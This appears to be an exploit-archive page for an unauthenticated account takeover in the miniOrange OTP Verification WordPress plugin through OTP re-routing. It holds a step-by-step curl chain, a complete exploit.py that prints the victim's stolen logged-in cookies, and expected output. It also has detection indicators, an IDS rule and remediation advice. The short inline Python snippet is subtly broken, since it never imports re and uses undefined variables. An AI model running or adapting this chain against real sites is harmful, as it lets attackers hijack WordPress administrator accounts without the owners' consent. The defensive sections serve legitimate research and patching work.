PoC Archive PoC Archive
CVE-2026-106610 category: web CVSS 9.8 (CRITICAL)
Patched

miniOrange OTP Verification ≤ 5.5.7 — Unauthenticated Account Takeover via OTP Re-Routing (CVE-2026-106610)

Published: 2026-11-25 • Researcher: KevineCharles (PoC); Patchstack (disclosure/advisory); miniOrange (vendor)

Target software miniOrange OTP Verification WordPress plugin (miniorange-otp-verification)
Affected versions From n/a through 5.5.7 (NVD / Patchstack); fixed in 5.5.8
Status Weaponized
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-08
Author / ResearcherKevineCharles (PoC); Patchstack (disclosure/advisory); miniOrange (vendor)
CVE / AdvisoryCVE-2026-106610
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS v3.1, per NVD/Patchstack; exact vector — See references)
StatusWeaponized
TagsWordPress, plugin, authentication-bypass, account-takeover, OTP, 2FA-bypass, privilege-escalation, CWE-266, unauthenticated, PHP
RelatedN/A

Affected Target

FieldValue
Software / SystemminiOrange OTP Verification WordPress plugin (miniorange-otp-verification)
Versions AffectedFrom n/a through 5.5.7 (NVD / Patchstack); fixed in 5.5.8
Language / PlatformPHP; WordPress on any host (Apache/nginx + PHP-FPM or mod_php)
Authentication RequiredNo — attacker needs no account, only the victim’s WordPress username and a phone number they control. The victim account must exist with a registered phone and the plugin’s OTP-only login mode enabled.
Network Access RequiredYes — HTTPS to the target’s wp-login.php

Summary

The miniOrange OTP Verification plugin supports a login mode in which a user authenticates to wp-login.php with only a username and a phone-based one-time passcode, no password required. The plugin fails to verify that the phone number used for the OTP challenge actually belongs to the account the session is bound to. An unauthenticated attacker who knows only a victim’s username can start a login attempt as that user, re-route the OTP challenge to a phone number they control, validate the code they received, and then re-submit the login form to be issued a logged-in authentication cookie for the victim’s account. The attacker never needs the victim’s password or real phone number, and the result is full account takeover, including administrative accounts.

Vulnerability Details

Root Cause

Incorrect privilege assignment (CWE-266) in the plugin’s WordPress login-form handler, file handler/forms/class-wploginform.php:

  • The AJAX OTP generate handler reads the submitted user_phone value directly and sends the OTP without ever checking that this number is the one registered to the account bound to the current session.
  • The AJAX OTP validate handler only checks internal consistency: that the number submitted for validation matches the number the plugin itself used to generate the challenge. It never compares the submitted number against the victim’s actually registered phone metadata (the plugin’s per-user login-phone user meta).
  • The final login gate accepts the login when the session owner equals the submitted username and the challenge status is VALIDATED. Both values are attacker-controlled: the owner comes from the plain-text log field in step 1, and the status is set by the plugin’s own OTP-validate endpoint, which the attacker also calls.

In short, the plugin verifies that a phone-number OTP challenge was completed, but never verifies that the victim’s phone number was the one actually used.

Attack Vector

Unauthenticated HTTP POST requests to wp-login.php on a site where the plugin version is at or below 5.5.7, OTP-only (skip-password) login is enabled, and the victim has a registered phone number. The chain is five steps: seed the login form with the victim’s username and an empty password to bind the PHP session to that username; fetch wp-login.php to harvest the anonymous CSRF nonce for the popup action; POST the OTP-generate action with the attacker’s own phone number; POST the OTP-validate action with the code received on the attacker’s phone; then re-POST the login form, which returns an authenticated WordPress cookie for the victim. Anonymous nonces are identical for every logged-out visitor within the same 12-hour tick, so any attacker can obtain a valid one.

Impact

Full account takeover without credentials. The attacker obtains a valid WordPress logged-in session for the victim account, which for an administrator means control over the whole site: plugin/theme installation, user management, content, and any data or configuration the account can reach. The supplied PoC evidence shows a successful login as the victim account and an authenticated request to wp-admin/profile.php. Failed attempts and successful ones are hard to tell apart in normal login logs because the attacker never triggers a password failure.

Environment / Lab Setup

Output
OS:          Linux (any current distro or Docker)
Target:      WordPress with miniOrange OTP Verification plugin 5.5.7
             (or earlier), PHP 8.4.23 in the upstream lab, serving
             /wp-login.php
Attacker:    Python 3 (standard library only) or curl; any OS
Tools:       Python 3, curl, Burp Suite; an attacker-controlled phone
             number able to receive SMS

Setup Steps

Shell script

Proof of Concept

Step-by-Step Reproduction

  1. Step 1 — Bind the session to the victim username. POST the login form with the victim’s username and an empty password (OTP-only mode skips the password check):
    Shell script
    1
    2
    3
    
    curl -s -c jar.txt -b jar.txt -o step1.html \
      -d 'log=victimadmin&pwd=&wp-submit=Log+In&redirect_to=http://TARGET/wp-admin/' \
      http://TARGET/wp-login.php
  2. Step 2 — Harvest the anonymous popup nonce. Fetch the login page with the same cookie jar and extract the mopopup_wpnonce value for the mo_popup_options action; logged-out nonces are shared across visitors within the same tick:
    Shell script
    1
    2
    
    curl -s -b jar.txt -c jar.txt http://TARGET/wp-login.php | \
      grep -o 'name="mopopup_wpnonce" value="[a-f0-9]*"'
  3. Step 3 — Re-route the OTP to the attacker phone. Trigger the plugin’s OTP-generate popup action with the attacker’s phone number; the challenge stays bound to the victim’s session but the SMS goes to the attacker:
    Shell script
    1
    2
    3
    4
    5
    
    curl -s -b jar.txt -c jar.txt \
      --data-urlencode 'mo_external_popup_option=miniorange-ajax-otp-generate' \
      --data-urlencode 'mopopup_wpnonce=NONCE' \
      --data-urlencode 'user_phone=15555550123' \
      http://TARGET/wp-login.php
  4. Step 4 — Validate with the received code. Submit the OTP code that arrived on the attacker phone through the validate action:
    Shell script
    1
    2
    3
    4
    5
    6
    
    curl -s -b jar.txt -c jar.txt \
      --data-urlencode 'mo_external_popup_option=miniorange-ajax-otp-validate' \
      --data-urlencode 'mopopup_wpnonce=NONCE' \
      --data-urlencode 'user_phone=15555550123' \
      --data-urlencode 'mo_otp_token=CODE' \
      http://TARGET/wp-login.php
  5. Step 5 — Re-submit the login form. The server-side gate (owner equals submitted username and status is VALIDATED) now passes and WordPress issues the victim’s authenticated cookies:
    Shell script
    1
    2
    3
    
    curl -s -i -b jar.txt -c jar.txt \
      -d 'log=victimadmin&pwd=&wp-submit=Log+In&redirect_to=http://TARGET/wp-admin/' \
      http://TARGET/wp-login.php
  6. Verify — confirm the stolen session identity against the WordPress profile page:
    Shell script
    1
    
    curl -s -b jar.txt http://TARGET/wp-admin/profile.php | grep -i 'victimadmin'

Exploit Code

See exploit.py in this folder — the archived upstream poc.py, which automates steps 1–5, pauses for the SMS code, and prints the stolen cookies plus a profile.php identity check.

Output
1
2
3
python3 exploit.py <base_url> <victim_username> <attacker_phone>

Example: python3 exploit.py http://127.0.0.1:8899 victimadmin 15555550123
Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import requests
s = requests.Session()
base = "http://target"
s.post(base + "/wp-login.php", data={"log": "victim", "pwd": ""})
nonce = re.search(r'name="mopopup_wpnonce" value="([a-f0-9]+)"', s.get(base + "/wp-login.php").text).group(1)
s.post(base + "/wp-login.php", data={"mo_external_popup_option": "miniorange-ajax-otp-generate",
                                     "mopopup_wpnonce": nonce, "user_phone": ATTACKER_PHONE})
s.post(base + "/wp-login.php", data={"mo_external_popup_option": "miniorange-ajax-otp-validate",
                                     "mopopup_wpnonce": nonce, "user_phone": ATTACKER_PHONE,
                                     "mo_otp_token": CODE})
r = s.post(base + "/wp-login.php", data={"log": "victim", "pwd": ""}, allow_redirects=False)
print(r.status_code, r.headers.get("Set-Cookie"))

Expected Output

Step 3 response shows the OTP was routed to the attacker’s number, not the victim’s:

Output
1
{"message":"A OTP (One Time Passcode) has been sent to *********321. Please enter the OTP in the field below to verify your phone.","result":"success"}

Step 4 response:

Output
1
{"message":"","result":"success"}

Step 5 response is a 302 redirect to wp-admin with the victim’s authenticated cookies:

Output
1
2
3
4
HTTP/1.1 302 Found
Set-Cookie: wordpress_<REDACTED_HASH>=victimadmin%7C<TS>%7C<REDACTED>%7C<REDACTED>; path=/wp-admin; HttpOnly
Set-Cookie: wordpress_logged_in_<REDACTED_HASH>=victimadmin%7C<TS>%7C<REDACTED>%7C<REDACTED>; path=/; HttpOnly
Location: http://127.0.0.1:8899/wp-admin/

Negative control (different phone number between generate and validate) is rejected, showing the internal consistency check exists but the victim-bound check does not:

Output
1
{"message":"Error Code: WPOTPERR010 - The phone number OTP was sent to and the phone number in contact submission do not match. Please contact your Administrator with the above error code.","result":"error"}

Screenshots / Evidence

  • evidence/step1_headers.txt — PHP session established during the login seed request
  • evidence/step1_response.html — plugin popup scripts (version 5.5.7) proving the vulnerable plugin is active
  • evidence/step3_response.txt — OTP sent to the attacker-controlled number
  • evidence/step4_response.txt — OTP challenge marked valid
  • evidence/step5_headers.txt — 302 plus the victim’s authenticated cookies
  • evidence/atk_jar.txt — attacker cookie jar containing the stolen session
  • evidence/control_jar.txt / evidence/control_response.html — Control A (no OTP exchange, no session)
  • evidence/control3_validate.txt — Control B (mismatched phone rejected, WPOTPERR010)

Detection & Indicators of Compromise

  • wp-login.php POSTs with an empty pwd parameter against an account that has OTP-only login enabled, repeated within a short window.
  • Requests carrying mo_external_popup_option values miniorange-ajax-otp-generate or miniorange-ajax-otp-validate from a session whose log field names a different user, or with user_phone values that do not match the stored phone number on the account.
  • OTP generate calls with the same phone number across multiple distinct usernames or IP addresses, or phone numbers from a different country than the account normally uses.
  • Successful wordpress_logged_in cookie issuance for a user with no preceding successful password or OTP delivery to that user’s registered number.
  • Plugin error codes WPOTPERR010 appearing in wp-login.php JSON responses.
  • Sessions from unexpected ASN/geo/IP immediately following OTP activity for an account.

SIEM / IDS Rule (example):

Output
1
2
3
4
alert http any any -> any any (msg:"Possible miniOrange OTP re-routing (CVE-2026-106610)"; \
  content:"mo_external_popup_option"; http_client_body; \
  content:"miniorange-ajax-otp-generate"; http_client_body; \
  content:"user_phone"; http_client_body; sid:9002611;)

Log query example (nginx/Apache combined access log, wp-login.php POSTs):

Output
1
grep 'wp-login.php' access.log | grep -c 'miniorange-ajax-otp-generate'

Remediation

ActionDetail
PatchUpgrade miniOrange OTP Verification to 5.5.8 or later; the vendor fixed the missing phone-to-account binding. Confirm the plugin version on every site (multisite included).
WorkaroundIf immediate update is not possible, disable the “Login with only OTP” / skip-password phone login mode and require a password plus OTP, or deactivate the plugin until patched.
Config HardeningEnforce strong unique passwords and real MFA on all accounts, especially administrators; monitor wp-login.php for the popup-action parameters above; put a WAF/reverse proxy in front of wp-login.php to rate-limit and block mismatched phone/username patterns; alert on new administrator sessions from new IPs.

References

Notes

Auto-ingested from https://github.com/KevineCharles/CVE-2026-106610-miniorange-otp-ato on 2026-11-25.

Review verdict: this is a genuine exploit PoC, not a detector — poc.py implements the full unauthenticated account-takeover chain and the repository ships raw HTTP evidence of a successful takeover (authenticated cookie issuance for the victim account) plus two negative controls. It is classified Weaponized because a working exploit with proof is shown, though it is limited in practice: it requires the target to have OTP-only (skip-password) login enabled with a working SMS gateway, the victim to have a registered phone number, knowledge of the victim’s username, and an attacker-controlled phone able to receive the OTP, so exploitation is interactive and not fully automated. Evidence files were copied with session tokens, nonces, and cookie hashes redacted upstream; no live credentials are included.

License status: the upstream repository has no explicit license file; poc.py is archived with attribution for authorized security research only. Files not copied: none of substance (the repo contains only README.md, poc.py, and evidence/); five lower-value control evidence files were omitted to keep the archive within the file budget. See references for the CVSS vector and full advisory detail. Do not run this exploit against systems you do not own or have written authorization to test.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/KevineCharles/CVE-2026-106610-miniorange-otp-ato (see README for attribution/license)
"""
PoC - CVE-2026-106610
miniOrange OTP Verification <= 5.5.7 - Account Takeover via OTP re-routing

Precondition: target site has "Login with only OTP" (phone verification,
skip-password) enabled in the plugin settings. The victim account has a
registered phone number. The attacker needs no account - only the victim's
WordPress username and a phone number the attacker can receive SMS on.

Usage:
    python3 poc_miniorange_otp_ato.py <base_url> <victim_username> <attacker_phone>

Example:
    python3 poc_miniorange_otp_ato.py https://victim-site.example admin 15555550123

The script will pause and ask you to enter the OTP code received on
<attacker_phone>, then complete the takeover and print the stolen
wordpress_logged_in_* cookie.
"""
import sys
import re
import urllib.request
import urllib.parse
import http.cookiejar

def main():
    if len(sys.argv) != 4:
        print(__doc__)
        sys.exit(1)

    base, victim_user, attacker_phone = sys.argv[1], sys.argv[2], sys.argv[3]
    login_url = base.rstrip("/") + "/wp-login.php"

    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

    def post(data):
        body = urllib.parse.urlencode(data).encode()
        req = urllib.request.Request(login_url, data=body, method="POST")
        return opener.open(req, timeout=15)

    def get(url):
        return opener.open(url, timeout=15)

    # Step 1 - start a login attempt as the victim (skip-password: pwd left empty)
    print("[1] Starting login attempt as", victim_user)
    post({
        "log": victim_user,
        "pwd": "",
        "wp-submit": "Log In",
        "redirect_to": base.rstrip("/") + "/wp-admin/",
    })

    # Step 2 - extract the anonymous OTP popup nonce from the login page
    print("[2] Fetching login page to extract mopopup_wpnonce")
    html = get(login_url).read().decode("utf-8", "ignore")
    m = re.search(r'name=["\']mopopup_wpnonce["\']\s+value=["\']([a-f0-9]+)["\']', html)
    if not m:
        m = re.search(r'mopopup_wpnonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']', html)
    if not m:
        print("    Could not find mopopup_wpnonce - plugin not active or markup changed.")
        sys.exit(1)
    nonce = m.group(1)
    print("    nonce =", nonce)

    # Step 3 - re-route the OTP challenge to the attacker's own phone number
    print("[3] Requesting OTP, re-routed to attacker phone", attacker_phone)
    post({
        "mo_external_popup_option": "miniorange-ajax-otp-generate",
        "mopopup_wpnonce": nonce,
        "user_phone": attacker_phone,
    })

    # Step 4 - validate using the OTP code the attacker received
    code = input("[4] Enter the OTP code received on the attacker's phone: ").strip()
    post({
        "mo_external_popup_option": "miniorange-ajax-otp-validate",
        "mopopup_wpnonce": nonce,
        "user_phone": attacker_phone,
        "mo_otp_token": code,
    })

    # Step 5 - resubmit the login form; server-side gate now passes
    print("[5] Re-submitting login as", victim_user)
    resp = post({
        "log": victim_user,
        "pwd": "",
        "wp-submit": "Log In",
        "redirect_to": base.rstrip("/") + "/wp-admin/",
    })

    cookies = [c for c in cj if c.name.startswith("wordpress_logged_in")]
    if cookies:
        print("\n[+] ACCOUNT TAKEOVER SUCCESSFUL")
        for c in cookies:
            print("    ", c.name, "=", c.value)
        # verification step
        prof = get(base.rstrip("/") + "/wp-admin/profile.php").read().decode("utf-8", "ignore")
        print("    profile.php length:", len(prof), "- contains victim username:", victim_user in prof)
    else:
        print("\n[-] No wordpress_logged_in_* cookie obtained - target may be patched (>=5.5.8) or misconfigured.")

if __name__ == "__main__":
    main()